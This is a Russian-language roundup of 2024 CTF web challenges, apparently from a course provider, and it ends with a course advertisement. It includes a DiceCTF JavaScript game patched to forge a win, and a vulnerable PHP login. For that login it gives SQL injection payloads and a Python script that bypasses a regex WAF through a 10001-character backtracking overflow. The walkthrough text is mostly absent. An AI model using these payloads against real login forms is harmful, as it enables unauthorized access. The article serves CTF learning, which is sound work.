Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Материал не обучает хакингу и не призывает к противозаконным действиям. Все описанное ниже лишь демонстрирует, какие пробелы в безопасности встречаются в реальных веб-приложениях. И предупреждает, на что нужно обратить внимание при разработке программного обеспечения.

KnightCTF 2024, часть 1

Решение задачи

KnightCTF 2024, часть 2

Решение задачи

DiceCTF 2024 Quals

Решение задачи

let player = [0, 1]; let goose = [9, 9];

let history = []; history.push([player, goose]);

document.onkeypress = (e) => { if (won) return; let nxt = [player[0], player[1]]; switch (e.key) { case "w": nxt[0]--; break; case "a": nxt[1]--; break; case "s": nxt[0]++; break; case "d": nxt[1]++; break; } if (!isValid(nxt)) return; player = nxt; if (player[0] === goose[0] && player[1] === goose[1]) { win(history); won = true; return; } do { nxt = [goose[0], goose[1]]; switch (Math.floor(4 * Math.random())) { case 0: nxt[0]--; break; case 1: nxt[1]--; break; case 2: nxt[0]++; break; case 3: nxt[1]++; break; } } while (!isValid(nxt)); goose = nxt; history.push([player, goose]); redraw(); };

if (player[0] === goose[0] && player[1] === goose[1]) { win(history); won = true; return; }

if (score === 9) log("flag: dice{pr0_duck_gam3r_" + encode(history) + "}");

function encode(history) { const data = new Uint8Array(history.length * 4); let idx = 0; for (const part of history) { data[idx++] = part[0][0]; data[idx++] = part[0][1]; data[idx++] = part[1][0]; data[idx++] = part[1][1]; } let prev = String.fromCharCode.apply(null, data); let ret = btoa(prev); return ret; }

# Было do { nxt = [goose[0], goose[1]]; switch (Math.floor(4 * Math.random())) { case 0: nxt[0]--; break; case 1: nxt[1]--; break; case 2: nxt[0]++; break; case 3: nxt[1]++; break; } }

# Стало do { nxt = [goose[0], goose[1]]; nxt[1]--; }

0xL4ugh CTF 24

Решение задачи

CREATE TABLE IF NOT EXISTS `users` ( `id` varchar(50) NOT NULL, `username` varchar(20) NOT NULL, `password` varchar(50) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;

insert into users(id,username,password) values('1','admin','c0b12ccad044e2e525cf818077413c4c');

if(isset($_POST['login-submit'])) { if(!empty($_POST['username'])&&!empty($_POST['password'])) { $username=$_POST['username']; $password=md5($_POST['password']); if(waf($username)) { die("WAF Block"); } else { $res = $conn->query("select * from users where username='$username' and password='$password'"); if($res->num_rows ===1) { echo "0xL4ugh{Fake_Flag}"; } else { echo "<script>alert('Wrong Creds')</script>"; } } } else { echo "<script>alert('Please Fill All Fields')</script>"; } }

function waf($input) { if(preg_match("/([^a-z])+/s",$input)) { return true; } else { return false; } }

select * from users where username='$username' and password='$password'

preg_match("/([^a-z])+/s",$input)

if($res->num_rows ===1) { echo "0xL4ugh{Fake_Flag}"; }

‘ or 1=1;# ‘ or 1=1;-- - ‘ or true;# ‘ or true;-- -

$ sudo docker build simple_waf_togive --tag "waf" $ sudo docker run waf

import requests address = 'http://172.17.0.2/' username = '1'*10001 + "' || 1=1-- -" password = 'any' data = {'username':username, 'password':password, 'login-submit':''} print(requests.post(address,data).text)

Хотите подробнее узнать о кибербезопасности, чтоб решать «хакерские» задачи? Начните с курса «Введение в сетевую безопасность». В нем делимся инструкциями, с помощью которых вы научитесь анализировать сетевой трафик и проводить сканирование портов.